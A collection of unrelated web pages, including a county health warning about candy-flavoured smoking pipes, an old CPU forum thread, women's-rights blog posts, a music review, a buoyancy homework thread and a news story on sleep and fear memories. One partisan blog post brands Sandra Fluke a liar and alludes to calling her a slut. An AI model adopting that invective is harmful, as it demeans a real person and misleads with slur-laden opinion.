"’Lollipipes' are a potential gateway to child and teen drug use. They send the horrible message that drugs are like candy," said Patterson. "As a former prosecutor, I have seen the destructive toll of drugs on children and families. Oakland County has zero tolerance for targeting children inappropriately."
Patterson issued his warning against "Lollipipes" after local media reported candy crack pipes were being sold at a Brownstown Township gas station. That story resulted in the gas station removing the questionable item from its shelves. To date, there are no reports of "Lollipipes" being sold in Oakland County.
"Lollipipes" are legal, but become illegal if they are used to smoke drugs. They are more likely to be used to smoke marijuana than crack cocaine. The pipes contain a plastic toke tube, an airtight pouch, and a cigar band for nonstick handling. They will not melt when being used for smoking illegal substances and may be reused.
"Lollipipes" come in strawberry, green apple, watermelon, peach, blueberry, blue raspberry, grape and cherry flavors. They cost $5.99 each.
Patterson encouraged parents to stay vigilant by keeping a close eye on the items their kids purchase or have in their possession. He also challenged local community coalitions, who have progressively led campaigns to educate residents on the dangers of drugs and reducing access to drug-related products and paraphernalia, to assist the Health Division in monitoring the community for these products.
"'Lollipipes' hearken back to the days when you would see candy cigarettes on store shelves which desensitized children to the dangers of smoking," said Patterson. "My goal is to improve the quality of life in Oakland County by residents living a healthier lifestyle. Ensuring that 'Lollipipes' are not on Oakland County store shelves is part of that plan."
To notify the Oakland County Health Division of a store carrying "Lollipipes," call Melanie Stone at 248-858-8745. | <urn:uuid:131a3137-0b32-410b-87f6-ca2f4fd6a855> | http://www.oakgov.com/news/Pages/2012/pr_12_28.aspx | en | 0.941879 | 0.028897 | mlfoundations/dclm-baseline-1.0-parquet |
Linked by Thom Holwerda on Tue 23rd Aug 2005 18:34 UTC, submitted by kellym
Intel During his keynote address at San Francisco's Moscone Center, Otellini unveiled the company's next-generation, power-optimized micro-architecture for future digital home, enterprise, mobile, and emerging market platforms aimed at a new category of converged consumer devices.
Thread beginning with comment 22232
My speculation
by Nicholas Blachford on Tue 23rd Aug 2005 23:25 UTC
Nicholas Blachford
Member since:
...turned out to be incorrect.
Well it seem Intel have cut the "average" power not the TDP. The TDP seems to be remain in the range of the P-M range.
If they want to do an 8 core design they'll need to cut TDP in half, if they want to go to 16 cores they'll need to cut it highly aggressively.
Whenever Intel or AMD do this I fully expect my the methods I speculated on to be used.
Reply Score: 1
RE: My speculation
by on Wed 24th Aug 2005 00:49 in reply to "My speculation"
Member since:
Actually, I think even with a 16 core system, your speculation is still a SWAG (Silly Wild-Assed Guess) based on what they've already demonstrated with their ultra-low power version: after all, if they can make it run on .5 watts for (IIRC) is already a dual core processor, even at less than maximum speed of the other processor variants currently announced, why would they want/need that complication? 8*.5=4 watts, and, worst case, 16 cores *.5watts=8 watts for the chip. The biggest immediate problem is the size of the die to go 16 cores, along with the size of the cache: it takes an awful lot of data to keep 16 cores doing useful work, and memory speeds have not even come close to keeping up with CPU's ability to saturate bandwidth. Sure, you can increase the front side bus width to 256 bits, and with 16 cores, chances are you might have a bit of latency for each one going out of the cache, but if you actually have enough to keep 16 cores busy doing *useful* work (non-idle system thread), you'll *still* be bandwidth starved, because that's only 16 bits *per **memory bus** cycle* per core on average, with the multiplier likely to be an absolute minimum (with current RAM available) of at least 3-4 CPU cyles per single FSB bus cycle, not counting latency of the memory controller(s). It would be an interesting trick to schedule threads/tasks such that they all run within the L1/L2 caches of the chip such that those that are almost purely computation bound allow those that are almost purely memory bound to have a useful bit of bus bandwidth for their data and instructions, and this is *before* doing the insane thing of requiring all the translated VLIW code stored somewhere and pumped in and out. In short, what Transmeta did, while it has some pluses, simply can't practically be scaled without using several memory buses, including one of them purely for the use of translated code, because the processor would be sipping data through a narrow straw.
Then, when you consider that a 4K page of code is not likely to translate 1:1 with a 4K page of translated code in the VLIW format, that becomes much too hairy to do effectively in a combination of hardware and software, requiring all OS's to account for this weird architectural brainfart to achieve something that *might* be more power-efficient, perhaps more die-efficient, perhaps faster overall... but only with a huge infrastructure that defeats the whole purpose in the first place!
Reply Parent Score: 0 | <urn:uuid:f3c04451-907a-4761-98da-d1d2004e4505> | http://www.osnews.com/thread?22232 | en | 0.949259 | 0.030293 | mlfoundations/dclm-baseline-1.0-parquet |
Sandra Fluke a Typical Democrat Wannabe Politician; She’s a Liar
I don’t know if 30-year old Georgetown University law student Sandra Fluke is a slut. But she’s already exhibited all that is needed to be a politician in the Democrat Party; Fluke’s a liar.
Via Steve Gilbert, Alana Goodman of Commentary Magazine has a policy letter from Georgetown’s President John DeGioia [emphasis mine]:
As you know, like most universities, Georgetown requires that students have health insurance. Students are not required to purchase their health insurance through Georgetown University and are free to acquire health insurance through a third party. The student plan offered by Georgetown is consistent with our Catholic and Jesuit identity and does not cover prescription contraceptives for birth control. It does provide coverage for these prescriptions for students who require them for health reasons unrelated to birth control, as determined by a physician.
Through Democrats in Congress, Fluke tried to make all kinds of claims of how women were being denied access to “health care”, causing women to lose their ovaries due to Georgetown’s Catholic-based health insurance. It was obvious hyperbole; now Fluke’s statement, and that of Democrats (including Obama and health Kommisar Sebelius), is a proven lie. Expect Fluke to move up higher in Democrat circles.
But if I were President DeGioia, I’d make it a point to find out what Fluke actually knows about the law and determine if she is actually going to earn a law degree.
Read the rest of Gilbert’s and Goodman’s pieces.
Cross-posted at Scipio the Metalcon.
Get Alerts | <urn:uuid:ccd67753-9aa6-4f86-b030-b52e985f8e99> | http://www.redstate.com/diary/scipio62/2012/04/27/sandra-fluke-a-typical-democrat-wannabe-politician-shes-a-liar/ | en | 0.950011 | 0.028453 | mlfoundations/dclm-baseline-1.0-parquet |
Happy Birthday RiotPenguin! (Gift Inside)
• What a weird coincidence. I actually just finished a hand-made illustration of a Penguin Champion Concept I was working on and it soo happened to be your birthday! (I actually had no idea)
Have a Happy Birthday RiotPenguin!
Sincerely, Pegi
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Here's a skin I've made already way before the illustration above.. but figured I'd dedicate his skin to you too RiotPenguin. I don't know about you but when Pegi gets hammered on his birthday, he wake-sup looking like this... I hope this isn't a sign. Bwahaha
(Don't do anything Pegi wouldn't do!)
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• Super cool, thanks man! Penguin champion OP.
Can has an evil Pegi skin?
• I see your Pegi, and counter with Penguin Team 6: | <urn:uuid:954aa60e-6aa9-44d1-b5a0-a97c916e18a4> | http://www.reignofgaming.net/redtracker/topic/87849-happy-birthday-riotpenguin-gift-inside?cookieTest=1 | en | 0.898453 | 0.038942 | mlfoundations/dclm-baseline-1.0-parquet |
Haunts: Spain’s women of coal are singing, rising up and sitting down
The women of Asturias are singing En el pozo Maria Luisa.
For centuries, Asturias has relied on coal mining. For centuries, mostly men have gone down into the earth to pull out coal. They have been injured and killed by the lethal working conditions. For centuries, their families and communities have struggled and organized. For centuries, the men have sung a song of resistance, called En el pozo Maria Luisa, a song to Santa Bárbara Bendita, the patron saint of miners. They sang this song during miners’ uprisings and strikes, such as those in 1934 that rocked Spain, and they sang this song during the Civil War.
The song tells the story of an explosion in the infamous Maria Luisa mine. A miner comes home from a mine blast in which four miners were killed. He is covered in their blood, and in his own, his head split wide. And he calls to his wife, Maruxina, and has one request: “mirái.” “Look.”
“mirái, mirái Maruxina, mirái / mirái como vengo yo”.
Look. Look Maruxina, look. Look at how I am.
This is a song traditionally sung by men, but times are changing.
Last month, the Spanish government announced it would cut subsidies to the coal mining industry by 63%. That would mean the end of coal mining in Spain. And that would mean the end of the mining provinces: Asturias, Castile and León. The miners engaged in local actions, and then declared a general strike. They have organized a Black March, which should arrive in Madrid on July 11, when the Prime Minister will report on the bank bailout and the economy.
Though a distinct minority, there are women miners now in Asturias. Women such as Ana Sánchez, who is on the Black March. She marches for herself, for her comrades, for her community, for her daughter and granddaughters. Somewhere right now she is singing the words to En el pozo Maria Luisa: “mirái, mirái Maruxina, mirái / mirái como vengo yo”.
Before the miners started walking, another group leapt into action, the women of coal, las mujeres del carbon. On June 18, some 400 showed up at the Senate in Madrid, at the discussion of the budget. 110 were allowed into the chambers, and they raised a ruckus. They chanted, they roared, they thundered, “Aquí están, estas son, las mujeres del carbon”. “Here they are, and they are … women of coal.” And they stopped the proceedings, while they sang the words to En el pozo Maria Luisa.
They continued in the streets, and they continue to this day. Today, the Black March arrived in León. This morning, two hundred women went to the national highway that cuts through town, and they sat down. And they stopped traffic, all traffic, for two hours. And they sang: Look, look how I am.
A specter haunts Spain. Look: “Aquí están, estas son, las mujeres del carbon”. Look. They’re everywhere.
Dan Moshenberg, dmoshenberg@gmail.com
Haunts: Elderly? Disabled? Far from home? Afraid? Have we got a jail for you!
There are two stories concerning Lemlem Hussein Abdu. One is the story of the State. The other is her story.
Here’s the story of the State: are you an elderly disabled woman seeking asylum? If you are, have we got a prison cell for you! But there’s more. Almost immediately after caging you, we’ll send you `home’ to the very people and State that burned your village and killed your family. You’re welcome.
Lemlem Hussein Abdu is a 62-year-old woman living with disabilities, applying for asylum in the United Kingdom. She is, significantly, a resident of Sheffield.
Here is her story, as told on the petition “Lemlem must stay!”:
“Lemlem was born in 1950 in what is now Eritrea. In 1978 her village was burned down and her entire family was murdered during an attack by Ethiopian forces. Her family and neighbours were targeted due to their support for the Eritrean Liberation Front (ELF), which was fighting for independence from Ethiopia.
Lemlem fled to Sudan and then subsequently to Saudia Arabia, where she obtained a position as a domestic worker. In 2000, Lemlem’s employers visited the UK and took her with them. Lemlem had a fall and injured herself when looking after the family’s children and has never fully recovered. Her employers stopped paying her wages as she could no longer carry out some heavy physical tasks. Then, in 2007, on a subsequent visit to the UK, the family abandoned her, with no money and no identification.
Lemlem is unable to return to Eritrea due to her affiliation with the ELF, which is persecuted by the government there. The United Nations has called on all countries to cease returns of asylum seekers to Eritrea due to the severe human rights abuses that have been committed against returnees.
Lemlem claimed asylum but has been refused. She is not allowed to work and receives no support, so has to rely on short-term help from a local charity, help which is now running out.
Despite her difficult position, Lemlem has a positive outlook. She is working hard to improve her English and is an active and well-loved member of her local community in Sheffield.
The Home Office is currently planning to deport Lemlem to Ethiopia. This is despite the fact that she has never lived in Ethiopia and has no contacts there. Her age and disability (a very bad limp and eyesight problems) mean that she would be unable to obtain work and support herself in a new country. She would have no means of earning a living and no support whatsoever in Ethiopia and the language spoken is not her first language. Lemlem is furthermore a member of the ELF, which Ethiopia has been at war with.”
Last Tuesday, Lemlem went to initiate new asylum proceedings. She was immediately rejected and transported to Yarl’s Wood. She was told to prepare for a flight Sunday night to Ethiopia.
Sheffield is a City of Sanctuary, the first such city in the United Kingdom. When Lemlem was carted off, the people of Sheffield – Lemlem’s friends, neighbors, supporters and also those who hadn’t known her previously – organized, protested, marched, and obtained a bit of a reprieve. Today, Tuesday, there’s a meeting with the Home Office.
As Gina Clayton, a trustee of Sheffield’s City of Sanctuary, put it, “Lemlem is absolutely terrified to the core of being taken to Ethiopia. She has no family and no connections in that culture and no physical ability to work. She doesn’t speak the language and she probably would be reduced to begging. The chances are she would simply die of starvation.”
Absolutely terrified to the core. That is the sum total of an asylum policy that sees prison and deportation as the normative response to vulnerability and pleas for assistance. A policy that places so-called national security over human needs fills the human heart with absolute terror.
Dan Moshenberg, dmoshenberg@gmail.com
Pride 2012: Actualize Transfeminism
When my friend Diana and I first met up to discuss collaborating on a benefit for Chrishaun “CeCe” McDonald, we were filled with bitterness and rage. Diana had already started to campaign to raise money for CeCe, specifically wanting to get a chunk of money for her living expenses upon release. I loved a lot about that idea, particularly Diana’s life-affirming, positive remarks that she hoped there would be enough money raised that CeCe could just throw herself a big party when she got out, and not have to work for a while, and get massages every day. The list grew longer and we smiled as we thought of all the rest and joy CeCe deserves.
But when we started talking about the text of the poster, our anger resurfaced. We so wanted to curse all of the oppression that is responsible for CeCe’s situation. We wanted to condemn individuals working within the racist, cis-sexist criminal justice system and the institution itself, which is rigged to cage the poor and other undesirables. We wanted to attack the combination of administrative, legislative, and cultural forces that restrict the life chances of transpeople, particularly people of color, and punish or criminalize their survival. Yet we could not articulate that rage into a poster-sized message. Nor did we like the idea of that poster hanging on the walls of folks who probably do not need more anger and vitriol in their lives.
Diana wrote an amazing song for her band about the Trans Day of Remembrance, voicing her disillusionment and frustration at the despairing tone of the day, as well as at the futility of prayer. She is not the only person I have heard express their desire for a trans holiday that is more like a celebration.
For myself and many of my loved ones, striking a balance between the trauma of victimization and the triumph of survivorship is an ongoing struggle–in day to day life and in our activism.
Weighing all of this, we flipped our approach in crafting a message for the print to one of positivity and rejoicing, in the same spirit of that party for CeCe that Diana had imagined.
And we came up with:
we celebrate your survival
we praise your strength
we struggle with you
The bottom border of the poster contains three symbols: a crossed-out swastika asserting our resistance to fascism (both in the particularities of CeCe’s case and at large), the symbol for trans liberation, and a heart.
– Beck Levy becklevy@gmail.com
Prints: astropressdc.com
Fundraiser: www.indiegogo.com/supportcece
Printing process video: http://www.youtube.com/watch?v=lNf_qZn-fwE
Widows demand justice
Tomorrow, June 23, is International Widows Day. Around the world, widows are denied justice. They are dropped from social networks, they are forgotten, they are denied access to property, they are circled in by various `cultural’ and legal restrictions. Around the world. This is not about `the developing world’. It’s global.
Rio + 20 ends today. Many who care about the environment, in whatever way, are frustrated by the lack of meaningful action. Women and women’s advocates, in particular, object to the absolute failure of the conference to understand as fundamental the link between family planning and environmental justice. Family planning covers the entire arc of family history, from before cradle to the grave … or at least it should. Did you hear any major discussion in Rio about widows’ rights? Me neither. What about at the G20 meeting in Mexico City this past week? No? Neither did I. How will widows figure into the family planning summit conference in London, in July? Wait and see.
Widows around the world are of all ages, and they share more than grief. They share reduced access to means of survival and well being. Some are workplace widows, such as Shelly Anderson, Rhonda Burkeen, Sheila Clark, Nancy Curtis, Michelle Jones, Courtney Kemp, Tracy Kleppinger, Sherri Revette, Natalie Roshto, whose respective partners were killed in the Deepwater Horizon rig explosion, Have they received proper compensation? No. Do the widows of mining disasters receive proper compensation for their loss? Seldom.
Nanda Bhandare’s husband was a cotton farmer. Debts rose, Indian small farmers faced multinational agro-corporations and a hostile global market, bankruptcy and starvation loomed larger and larger. One day, Bhandare’s husband protested with his life. He drank enough pesticide to kill himself. He died, but his debts live on. Years later, his widow has taken the children out of school to work the fields to pay those debts. Each day, they move closer to death by starvation. Where is Nanda Bhandare in the global conference circuitry? Nowhere.
Around the world, widows are initially acknowledged and supported, especially after a catastrophe such as the recent airline crash in Nigeria. What happens next? Too often they are abandoned. Individuals, communities, agencies move on, feeling they have done their due diligence. They haven’t. We haven’t..
Around the world widows are organizing. In the Cross River State, in Nigeria, widows and their supporters are talking about what is needed: enhanced livelihood options through access to real education and equitable finance; increased cooperation among widows and widows-focused organisations through the formation of widows cooperatives and networks; increased public awareness on widowhood issues through information, education and communication; and, finally, enabling a policy environment for widows through an advocacy campaign.
In Nigeria, as almost everywhere, the condition of widows is lamentable, but it is not inevitable.
In Sierra Leone, for example, more than 20% of households are headed by women. Over a third of the women who are heads of households are widows. Women, like Gladys Brima, the founder of Women’s Partnership for Justice and Peace, are advocating, organizing, pushing. Women like Sia Bona are staking their lives on organizing. When Bona’s husband died, her in laws swooped in and pushed her and her mother off the farm, a farm that had been Bona’s father’s farm. The law says one thing, customary and traditional law says another. Women, and especially rural women, don’t live in `the State’. They live where they live, locally. Federal or national laws without built in requirements for local transformation are, at best, empty symbols. More often than not, they are tools of oppression, exclusion, and betrayal. Bona, Brima and other women in Sierra Leone are organizing at all levels to change that situation … now.
A version of that exclusion takes place almost everywhere. Widows must have more than a seat at the conference table. They must be prioritized, not just recognized. Thus far, they are not. Instead, widows haunt the discussion of global and of local justice. And they are organizing.
(Photo Credit: PTI)
Reuniones, Nosotros, y Cooperativos
This past week was the second meeting of women at the Tenants and Workers United, TWU, in Alexandria, Virginia. In my fourth week, I am slowly realizing what it means to be a part of a group of women as someone from the “outside.”
Meetings are rough. I speak Castillian Spanish, cannot say gracias without a lisp, and had no idea what a carro was (I later learned it meant the same as coche). I know little slang and even fewer curse words, the outcome of learning Spanish from my grandmother who focused on linguistics and never cursed in front of her grandchildren. At meetings, I get laughed at frequently for my inability to catch the jokes being told.
Last week, however, I had a breakthrough. I realized that instead of listening I needed to speak up. Engage in the “we” or nosotros that the meeting had been focusing on. I had been sitting off to the side, silent, listening. It is so easy to just listen, but to speak up is harder. This is what I have encountered in my work at TWU. So many people are too afraid to say what they believe, especially in situations where the language is different or the cause is so close to one’s heart. For me, both of these are true.
I learned about the importance of staying active and honest. It’s easy to fall into a repetitive system, whether one’s own or that of an entire organization. Either way, it’s a trap. No change or security can be reached if the status quo is not constantly questioned and changed.
The women coming to the TWU meetings seek some kind of economic stability. They are concerned about their financial well-being, and they are trying to make changes in their lives to find financial security. I want to do whatever I can to work with them in that pursuit.
However, this is not what I should be doing this summer. I came into TWU believing that I could help the women who came to meetings and women in the surrounding community. My focus was on the individual even when I thought I was talking about the community. There is a different nosotros that I forgot to include in my research goals; it is a nosotros that cannot be measured, counted, or placed in a single box. It is the power of relationships that are not measured by individuals but instead by the active networks of awareness and action throughout a community.
Working with the women at TWU to create a cooperative is amazing, but the project’s focus is on individual rather than collective and communal self-awareness. For that reason, my new focus is on creating a curriculum that will engage women and men throughout the community, a curriculum that will provide education and community support for domestic workers and caregivers who work tirelessly behind the scenes. One cooperative will not change the face of domestic work or care-giving. Bringing women and men together in a space for dialogue and education will. With those tools, the nosotros will become bigger than 15 women, and instead will be a community consciousness that inspires change in wages, time-off, treatment, and access to support on a vast and uncountable scale.
Anna Loup anna.cecile13@gmail.com
Resistances, les femmes, le pouvoir et l’élection
Les électeurs français viennent d’élire un président socialiste, François Hollande. Il a été investi dans ses fonctions le 15 mai dernier et un nouveau gouvernement a été formé dans la foulée. Le changement est de taille pour beaucoup et une source d’espoir pour les femmes et les minorités. Ainsi le nouveau président avait affirmé qu’il appliquerait le principe de parité entre hommes et femmes pour former sa nouvelle équipe ministérielle. Il a pour ainsi dire réussi, 34 ministres dont 17 femmes. Il y a eu passation de pouvoir et à la suite du premier conseil des ministres il y a eu séance de photos et en particulier une photo du président et du premier ministre (Jean-Marc Ayrault) avec les femmes ministres de la parité. « Pourquoi une photo avec les seules femmes ministres?» demande la présidente de l’association des femmes journalistes, Isabelle Germain.
Est-ce un trophée ? Isabelle Germain ajoute qu’il n’y a pas eu de photos avec les hommes, ou les ministres issus de la diversité, elle en conclut que le concept de diversité est plus accepté que la parité politique entre hommes et femmes. Bien que cette décision doive être applaudie, il faut remarquer que la parité joue sur le nombre et non sur l’importance des postes de ministres, et il faut ajouter qu’il n’y a pas de parité parmi les conseillers du président et du premier ministre, comme le déplore Osez le Féminisme.
Toutefois image de progrès, la nomination de Christiane Taubira comme garde des Sceaux (ministre de la justice). D’abord cette nomination rappelle l’histoire coloniale de la France, en effet, Christiane Taubira, est sénatrice » de Guyane. Elle représente les populations des caraïbes et a commencé sa carrière comme activiste indépendantiste de la Guyane.
Une de ses premières remarques qui mènera à une action rapide concerne la justice des mineurs. Elle a clairement indiquée que l’ère Sarkozy était terminée. Plus question de juger les délinquants récidivistes de 16 ou 17 ans dans des tribunaux correctionnels ordinaires, c’est à dire comme des adultes, cette mesure venait directement de l’exemple américain. Les mineurs seront de nouveau jugés comme des jeunes, ce qui veut dire pas d’incarcération dans les prisons des adultes et plus de programmes d’accompagnement. Bien sur l’ancienne ministre Rachida Dati (UMP) a immédiatement critiqué cette décision la qualifiant d’ “acte irresponsable”. Rappelons que l’argument de dissuasion avancé en faveur du jugement des mineurs comme adulte, bien connu aux Etats Unis, s’est toujours avéré erroné. Il est remarquable que Rachida Dati ministre de Sarkozy, elle aussi représentait l’intégration puisqu’elle est issue de l’immigration. Son approche était bien différente de celle de ces nouveaux ministres.
Cela nous mène à la nomination de la ministre des droits de la femme. Ce ministère avait purement et simplement été supprimé par le gouvernement précédent. Il avait été créé par le dernier président socialiste, en 1981 et avait eu un effet bénéfique pour les droits des femmes en France. La nouvelle nommée Najat Vallaud-Belkacem est née au Maroc de parents marocains, elle refuse la comparaison avec Rachida Dati (elle aussi d’origine nord africaine). Najat Vallaud-Belkacem a aussi montré que les identités peuvent être multiples puisqu’elle a siégé au Conseil de la communauté marocaine à l’étranger (CCME) jusqu’à ce qu’elle s’engage avec François Hollande. Beaucoup de travail à venir pour elle, notamment avec la loi sur le harcèlement sexuel qui a été invalidée par le Conseil Constitutionnel récemment, créant ainsi un problème juridique pour les femmes voulant intenter une action en justice. Cette loi doit être repensée et surtout doit apporter une protection nécessaire aux femmes qui sont en France comme ailleurs de plus en plus victimes de violence.
Il est clair qu’après une campagne présidentielle menée par Nicolas Sarkozy sur le thème de la peur de l’étranger et de l’immigration, la formation de ce gouvernement montre une claire démarcation de la ligne ultra de Sarkozy, celui-ci n’avait pas hésité à remettre en cause la laïcité tout en utilisant la peur de la religiosité musulmane comme raison, alors qu’il prônait le retour a la morale chrétienne comme référence. Le débat s’éloignait de la nécessaire remise en cause de la colonisation dans ce moment où la mondialisation néolibérale représente une nouvelle forme de colonisation.
Dans ces temps qui révèlent les effets de l’organisation financière de la mondialisation néolibérale sur la société toute entière et avec les renégociations des accords européens pour instaurer les politiques économiques d’austérité destinées à mettre à genou les populations, le changement, si petit qu’il soit, venu de cette élection est une source d’espoir qu’il ne faut pas laisser échapper.
Brigitte Marti, bridgemarti@gmail.com
Lessons of a Hispanic Gringa
I exist as a contradiction, but a contradiction that has formed a part of my understanding of self and how I interact with women within and outside the Hispanic, Latina, and Chicana communities.
I grew up hearing the term gringa. I believed I could not be one, because of the Hispanic that was ¼ of my blood and an even greater part of my personal consciousness. I believed that I had escaped that title, one that stung of ignorance and outsiderness, but I had not.
I began my work at Tenants and Workers United, also known as Inquilinos y Trabadores Unidos, two weeks ago. I came in as an unpaid student researcher, overly ready to engage easily with the women in the organization.
The dreams I had of being recognized as my mother often is, as a Hispanic woman, were dashed as my short hair, pale skin, and introduction as a university student earned me the title of gringa. I was intimidated by this title and I doubted not only my heritage, but also my ability to speak Spanish with these women. My Castellano lisp gave my Spanish away as European learned, and my insecurities silenced me.
At this point, the erasure of my heritage was almost complete. The constant work to keep my grandmother alive in me through my hispanidad felt threatened. Was it possible to be a gringa and Hispanic?
I was at a frontera spoken of by Gloria Anzaldúa. I came in as different, an outsider, but the realization that the women I work with often feel the same way in US society changed my understanding of the situation. Their language and lifestyles often push them to the fringes of US communities and limit their access to resources they need to live a positive and fulfilling life. The mix we two ‘outsiders’ create is not negative, but instead a powerful one filled with all the positive aspects for unification and change. It became less of fitting in, and instead a finding a common ground for establishing a nosotros, a we.
Who am I at this frontera? What can I/ should I bring? What can I take away? How can I help to make this fontera a place that women can inherit proudly and safely? These questions fuel the research that I am now doing at TWU. I am brining what I have access to in order to make the goals and dreams of the Women’s Group realities.
As a Hispanic gringa I bring a contradiction, a hybrid, una nueva identidad to the conversation. I have seen a different side of the conversation and bring a new view. My outsider gains power at this nueva fontera.
Anna Loup, anna.cecile13@gmail.com
West Virginia Women: “Our Hair Can Grow Back. The Mountains Can’t.”
“Our hair can grow back,” environmental activist Vivian Stockman told me yesterday. “The mountains can’t.”
Last week, Stockman joined twenty other West Virginia women (and a few men) in silently shaving their heads at the West Virginia state capital. This week, seven more joined them at a protest in DC. To Stockman, they are acts of mourning – “deeply personal” sacrificial actions symbolic of the pain that mountain top removal has brought to Appalachian communities.
West Virginians are no strangers to sacrifice. Author Denise Giardinia wrote after the 2010 Upper Big Branch mining disaster that West Virginia, my home state, has long been a “national sacrifice area.” The health, safety, and environmental risks to mining communities have often been overshadowed by the fact that the rest of the country relies on the coal that comes from the region.
So now, women from West Virginia are making visible that sense of sacrifice – with their bodies.
The idea belonged to Marilyn Mullens who said that it came to her in a night of restless sleep. Mullens explained that she wanted to lead a tribute to the hundreds of mountains and thousands of communities that have been damaged or destroyed by mountaintop removal coal mining. “We’ve gone through all the official channels of every level of our state government,” she said. “We’ve been to DC. Nothing is being done.”
Mullens pointed out that we live in a culture in which hair is deeply important to many people, especially women. By removing hers, she is standing in solidarity both with the mountains that have been blown up and with the people in mining communities who have lost their health. Mullens, who is from Southern West Virginia, knows the human effects of mountaintop removal coal mining firsthand. Her community has been flooded multiple times (mountaintop removal can lead to increased erosion), and the foundation of her home has been badly damaged.
There is an Appalachian saying that what you do to the land, you do to the people. And it’s true – just ask people living near mountaintop mining who face cancer rates of almost 15% (compared to the 9.4% for other parts of Appalachia).
Or ask the parents of the five-year-old girl whose photo recently caused such a stir in a subcommittee of the House of Representatives Committee on Natural Resources. The photo, submitted by award-winning environmental activist Marie Gunnoe, depicts a child in a bathtub full of brown tap water. Gunnoe was clearly trying to show the health impacts on communities near West Virginia mountaintop removal sites. It is a photo that everyone in the country should see.
But the photo was not allowed to be shown at the hearing, and afterwards Gunnoe was pulled into a side room and questioned by the U.S. Capitol Police for nearly an hour on suspicion of child pornography.
As Aaron Bady wrote in the Huffington Post, the real obscenity is not the photo of a child bathing – it’s that the communities have no choice but to bathe their children in polluted water.
Denise Giardinia was right when she wrote that West Virginia is a national sacrifice area. But women in West Virginia are coming together to hold up photos, shave off their hair, and make people look at what kind of sacrifice is happening. What you do to the land, you do to the people – but the people can organize.
Layne Amerikaner layne.amerikaner@gmail.com
For information on how to get involved, check out the Ohio Valley Environmental Coalition | <urn:uuid:b3f6406e-6b3e-4b92-8efe-1991d1bc39ee> | http://www.womeninandbeyond.org/?m=201206 | en | 0.856803 | 0.034378 | mlfoundations/dclm-baseline-1.0-parquet |
2005 was a productive year for Connor Oberst, frontman for the band Bright Eyes. He simultaneously released Digital Ash In A Digital Urn and I'm Wide Awake, It's Morning. After taking a year off from recording Bright Eyes returns with Cassadaga, a sophisticated and opulently produced release that highlights Oberst's writing but also underscores the contributions of Mike Mogis and Nate Walcott, the other permanent members of the band.
Multi-instrumentalist, Mogis, acts as producer and in that capacity adds a flare not heard before on a Bright Eyes release. At the core of the record is that country-tinged Americana that brought Bright Eyes their initial critical acclaim. New to the production is the string and horn sections and backing girl vocals that one might associate with a Sufjan Stevens' production.
Recorded for the first time outside of Mogis' Lincoln, Nebraska studios, the band traveled to Portland, New York, Chicago and Los Angeles to record these songs. This fits well with the theme of the release which focuses on a variety of American landscapes and the spirit that inhabits these places - sometimes literally. Cassadaga is a spiritualist camp in Florida and finds reference in the song "Four Winds."
Perhaps the most defining sound of Bright Eyes is Oberst's voice, a high, reedy warble that often sounds like it is ready to break or disappear completely. And yet it is his vocals that propel the emotion in Cassadaga. Part of this band's maturity is in it's ability to effectively present Oberst's vocals within the context of Mogis' production and Walcott's arrangements. Elaborate string swirl around and enhance Oberst's vulnerable moments. Backing girl vocals back him up on some of the discs more upbeat moments.
The band is joined by a remarkable line-up of guest members including Gillian Welch and Dave Rawlings, M. Ward, Ben Kweller, Rachael Yamagata and, ex-Sleater Kinney drummer, Janet Weiss.
All this said, at the heart of Cassadaga is Oberst's thoughtful, mature songwriting. Whether he is singing about an affair with an older woman, genocide in American history or the longing of a lost spirit, it's impossible not to identify on an emotional level and to admire his cultural references and clever turns of phrase.
Rosemary Welsch, WYEP Afternoon Mix host | <urn:uuid:f748ce50-fc91-47b9-aedd-da0ba4d5fc73> | http://www.wyep.org/node/14414 | en | 0.954415 | 0.018944 | mlfoundations/dclm-baseline-1.0-parquet |
Fluids -iceburg in seawater
The density of ice is 920 kg/m3, and that of seawater is 1030 kg/m3. What fraction of the total volume of an iceburg is exposed?
2. Relevant equations
3. The attempt at a solution
I know your supposed to do volume of the ice divided by the volume of the seawater, x 100. But, I'm having trouble finding the volumes. V=m/density... but how do u find the mass? Or is there a different way of doing it.
2. jcsd
3. Doc Al
Staff: Mentor
Compare the volume of seawater displaced to the volume of the iceberg. The fraction of the iceberg above the water level is independent of its mass or volume. (Just call the mass "m"--you'll find that it will cancel out.)
To proceed, consider the forces acting on the iceberg. And consider Archimedes' principle and buoyant force.
4. By a FBD (the iceberg is in equilibrium), so you know that the gravitational force must equal the buoyant force. | <urn:uuid:0fa66d66-4ab7-470e-b6c2-8f2f8ea9ebcc> | https://www.physicsforums.com/threads/fluids-iceburg-in-seawater.150676/ | en | 0.917267 | 0.994709 | mlfoundations/dclm-baseline-1.0-parquet |
YOU ARE HERE: LAT HomeCollectionsSleep
To sleep, perchance to forget one's fears
October 01, 2013|By Melissa Healy
• Two new studies suggest that one's bed could become the newest place to lessen fearful memories.
Two new studies suggest that one's bed could become the newest place… (Beatrice DeGea )
For those who struggle with post-traumatic stress disorder, phobias, anxieties and other fearful memories, the bedroom may be the next big battleground. Researchers are finding that sleep may allow us not just to escape our cares temporarily, but to defang some of the fearful memories that hobble those with such anxiety disorders.
Two studies published in the past week break new ground in the effort to take the fright out of frightening memories, both of them exploring the opportunity afforded by sleep to do so. They proceed from two relatively recent neuroscientific insights about memories: that they change a little every time they are taken out, revisited and returned to storage; and that sleep is a time when old memories and new experiences alike are processed, prepared and filed into the brain's long-term storage vault.
Just as many of us hoped while trying to cram for tests, research has shown it is possible to enhance the power of sleep-time to consolidate memories -- both those we've created and those we've revisited in the course of our waking day. Studies have found that the introduction of certain cues during sleep can help us consolidate memories that are spatial or episodic in nature (say, the directions to a new store we've just traveled to, or the range of merchandise the store carries).
But could sleep-time be used to revise and store old memories that are highly emotional in character? In mice and people alike, the studies find, the answer appears to be yes.
A study published Sept. 22 in the journal Nature Neuroscience put 15 healthy subjects through a fear-conditioning experiment with a fragrant twist: They looked at images of two different faces and, while seeing them, received a brief but painful shock. While being shocked and looking at each face, they were also quietly exposed to one of several distinctive smells, including mint, new-sneaker smell, lemon or clove.
The result was that all came to associate the faces and the specific smell that accompanied the related shock with pain and fear. And even after the shocks stopped, their fearful expectation of a shock was evident, both by increased perspiration and on a brain-imaging MRI, whenever they saw one of the faces or smelled the odor associated with that face.
